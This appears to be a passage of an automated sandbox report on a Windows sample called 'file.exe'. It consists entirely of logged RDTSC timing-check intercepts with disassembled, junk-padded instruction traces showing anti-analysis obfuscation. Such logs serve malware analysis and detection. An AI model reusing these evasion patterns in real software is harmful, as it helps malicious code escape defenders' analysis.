                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A92FB4 second address: A92FD3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007EFD08D54400h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A95036 second address: A95048 instructions: 0x00000000 rdtsc 0x00000002 js 00007EFD08B70876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A95048 second address: A9504E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A941D0 second address: A941D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A93248 second address: A93256 instructions: 0x00000000 rdtsc 0x00000002 jne 00007EFD08D543F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9504E second address: A95053 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A95F28 second address: A95F42 instructions: 0x00000000 rdtsc 0x00000002 js 00007EFD08D543F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007EFD08D543FCh 0x00000014 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9519D second address: A951A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A95F42 second address: A95F4C instructions: 0x00000000 rdtsc 0x00000002 jns 00007EFD08D543FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A951A2 second address: A9524B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFD08B7087Fh 0x00000008 jl 00007EFD08B70876h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov dword ptr [esp], eax 0x00000014 push dword ptr fs:[00000000h] 0x0000001b or edi, dword ptr [ebp+122D320Dh] 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 push 00000000h 0x0000002a push ebx 0x0000002b call 00007EFD08B70878h 0x00000030 pop ebx 0x00000031 mov dword ptr [esp+04h], ebx 0x00000035 add dword ptr [esp+04h], 00000016h 0x0000003d inc ebx 0x0000003e push ebx 0x0000003f ret 0x00000040 pop ebx 0x00000041 ret 0x00000042 jmp 00007EFD08B7087Dh 0x00000047 jbe 00007EFD08B7087Ch 0x0000004d mov dword ptr [ebp+122D1AD8h], edi 0x00000053 mov eax, dword ptr [ebp+122D009Dh] 0x00000059 push 00000000h 0x0000005b push edi 0x0000005c call 00007EFD08B70878h 0x00000061 pop edi 0x00000062 mov dword ptr [esp+04h], edi 0x00000066 add dword ptr [esp+04h], 0000001Ch 0x0000006e inc edi 0x0000006f push edi 0x00000070 ret 0x00000071 pop edi 0x00000072 ret 0x00000073 push FFFFFFFFh 0x00000075 mov dword ptr [ebp+1246E2B8h], ebx 0x0000007b push eax 0x0000007c pushad 0x0000007d push edi 0x0000007e push esi 0x0000007f pop esi 0x00000080 pop edi 0x00000081 jo 00007EFD08B7087Ch 0x00000087 push eax 0x00000088 push edx 0x00000089 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A960E6 second address: A9616D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007EFD08D54403h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007EFD08D543F8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 pushad 0x00000027 add dword ptr [ebp+1244D1F3h], eax 0x0000002d popad 0x0000002e jmp 00007EFD08D54406h 0x00000033 push dword ptr fs:[00000000h] 0x0000003a mov ebx, esi 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 mov dword ptr [ebp+122D3536h], ecx 0x00000049 mov ebx, dword ptr [ebp+122D34D1h] 0x0000004f mov eax, dword ptr [ebp+122D04A1h] 0x00000055 mov bx, E665h 0x00000059 push FFFFFFFFh 0x0000005b mov edi, esi 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 push ecx 0x00000063 pop ecx 0x00000064 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A97EDD second address: A97EE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A97169 second address: A9716F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9616D second address: A96184 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08B70883h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A97EE1 second address: A97EF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08D54401h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9716F second address: A97173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A96184 second address: A9618A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A98E2F second address: A98E8A instructions: 0x00000000 rdtsc 0x00000002 jne 00007EFD08B70876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push edx 0x0000000c pop edx 0x0000000d pop ecx 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 movzx edi, ax 0x00000015 push 00000000h 0x00000017 sbb ebx, 0D181A02h 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push ecx 0x00000022 call 00007EFD08B70878h 0x00000027 pop ecx 0x00000028 mov dword ptr [esp+04h], ecx 0x0000002c add dword ptr [esp+04h], 0000001Dh 0x00000034 inc ecx 0x00000035 push ecx 0x00000036 ret 0x00000037 pop ecx 0x00000038 ret 0x00000039 jg 00007EFD08B70881h 0x0000003f push eax 0x00000040 push ecx 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 popad 0x00000045 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A98E8A second address: A98E8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A99D8D second address: A99DAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08B70883h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A99DAB second address: A99DAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A99DAF second address: A99E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007EFD08B70878h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 mov dword ptr [ebp+1247905Ah], ecx 0x00000028 mov dword ptr [ebp+1247905Ah], ecx 0x0000002e mov dword ptr [ebp+122D2780h], ecx 0x00000034 push 00000000h 0x00000036 mov dword ptr [ebp+122D363Ch], edi 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push ecx 0x00000041 call 00007EFD08B70878h 0x00000046 pop ecx 0x00000047 mov dword ptr [esp+04h], ecx 0x0000004b add dword ptr [esp+04h], 00000018h 0x00000053 inc ecx 0x00000054 push ecx 0x00000055 ret 0x00000056 pop ecx 0x00000057 ret 0x00000058 pushad 0x00000059 push edx 0x0000005a add dword ptr [ebp+122D31D0h], eax 0x00000060 pop ebx 0x00000061 mov edx, dword ptr [ebp+1244E401h] 0x00000067 popad 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A99E2D second address: A99E31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A99E31 second address: A99E3B instructions: 0x00000000 rdtsc 0x00000002 je 00007EFD08B70876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9AD42 second address: A9AD48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9AD48 second address: A9AD4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9AD4F second address: A9AD68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jg 00007EFD08D543FCh 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A99FA6 second address: A99FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9808F second address: A98141 instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFD08D543F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007EFD08D54401h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push eax 0x0000001d call 00007EFD08D543F8h 0x00000022 pop eax 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 add dword ptr [esp+04h], 00000018h 0x0000002f inc eax 0x00000030 push eax 0x00000031 ret 0x00000032 pop eax 0x00000033 ret 0x00000034 mov ebx, dword ptr [ebp+122D286Ah] 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 mov edi, dword ptr [ebp+122D26D4h] 0x00000047 jmp 00007EFD08D54407h 0x0000004c mov eax, dword ptr [ebp+122D0CD5h] 0x00000052 mov di, dx 0x00000055 push FFFFFFFFh 0x00000057 push 00000000h 0x00000059 push ebx 0x0000005a call 00007EFD08D543F8h 0x0000005f pop ebx 0x00000060 mov dword ptr [esp+04h], ebx 0x00000064 add dword ptr [esp+04h], 00000014h 0x0000006c inc ebx 0x0000006d push ebx 0x0000006e ret 0x0000006f pop ebx 0x00000070 ret 0x00000071 stc 0x00000072 nop 0x00000073 jne 00007EFD08D543FEh 0x00000079 push eax 0x0000007a push eax 0x0000007b push edx 0x0000007c jp 00007EFD08D543F8h 0x00000082 pushad 0x00000083 popad 0x00000084 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9E004 second address: A9E00E instructions: 0x00000000 rdtsc 0x00000002 je 00007EFD08B70876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9E00E second address: A9E018 instructions: 0x00000000 rdtsc 0x00000002 je 00007EFD08D543FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9E0ED second address: A9E0F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A9E0F2 second address: A9E0F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA418E second address: AA4196 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA4196 second address: AA419F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA419F second address: AA41B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFD08B70884h 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA41B7 second address: AA41DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007EFD08D54408h 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AA41DA second address: AA41E0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A4D0C2 second address: A4D0D9 instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFD08D543FEh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jc 00007EFD08D543F6h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A4D0D9 second address: A4D112 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFD08B70885h 0x00000009 pop ecx 0x0000000a jp 00007EFD08B7088Fh 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AABC09 second address: AABC0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB0CF8 second address: AB0CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB0CFC second address: AB0D00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB0D00 second address: AB0D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB0E11 second address: AB0E15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB0E15 second address: AB0E33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jno 00007EFD08B70876h 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007EFD08B7087Bh 0x00000018 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB0E33 second address: AB0E37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB0E37 second address: AB0E6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jmp 00007EFD08B70889h 0x00000011 push esi 0x00000012 js 00007EFD08B70876h 0x00000018 pop esi 0x00000019 popad 0x0000001a mov eax, dword ptr [eax] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push edx 0x00000021 pop edx 0x00000022 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB0E6D second address: AB0E73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3DF55 second address: A3DF83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFD08B70885h 0x00000009 pop ebx 0x0000000a jmp 00007EFD08B70884h 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3DF83 second address: A3DF92 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jne 00007EFD08D543F6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3DF92 second address: A3DFC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007EFD08B70876h 0x0000000a jnc 00007EFD08B70876h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007EFD08B70887h 0x0000001e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3DFC2 second address: A3DFC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A3DFC6 second address: A3DFCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB65A6 second address: AB65C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007EFD08D54409h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB65C5 second address: AB65CA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB6FC9 second address: AB6FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB7159 second address: AB715F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AB715F second address: AB7165 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ABCC6E second address: ABCC73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ABCC73 second address: ABCC78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ABBBF0 second address: ABBC16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08B7087Ah 0x00000007 jmp 00007EFD08B70884h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ABBC16 second address: ABBC33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFD08D54409h 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: ABC909 second address: ABC919 instructions: 0x00000000 rdtsc 0x00000002 jg 00007EFD08B70876h 0x00000008 jg 00007EFD08B70876h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC0D71 second address: AC0D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC0D77 second address: AC0D7D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC0D7D second address: AC0D83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC0D83 second address: AC0D8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007EFD08B70876h 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC0D8D second address: AC0DA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007EFD08D543F8h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jnp 00007EFD08D543FCh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC0DA8 second address: AC0DBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007EFD08B7087Eh 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: AC504E second address: AC5054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A86942 second address: A869C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08B70880h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007EFD08B70878h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 add dword ptr [ebp+122D2386h], eax 0x0000002c lea eax, dword ptr [ebp+1247C66Bh] 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007EFD08B70878h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 00000016h 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c mov dword ptr [ebp+122D2386h], ecx 0x00000052 nop 0x00000053 jmp 00007EFD08B7087Ah 0x00000058 push eax 0x00000059 pushad 0x0000005a jp 00007EFD08B7087Ch 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 popad 0x00000064 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A86FE0 second address: A86FE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8709B second address: A870C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e jmp 00007EFD08B70887h 0x00000013 pop ecx 0x00000014 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A870C1 second address: A870E9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnl 00007EFD08D543F6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007EFD08D54405h 0x00000018 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A870E9 second address: A87112 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFD08B70883h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f jmp 00007EFD08B7087Bh 0x00000014 pop esi 0x00000015 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A871FB second address: A87201 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A87722 second address: A87728 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A87728 second address: A8774B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007EFD08D54406h 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8774B second address: A8774F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: A8774F second address: A87755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
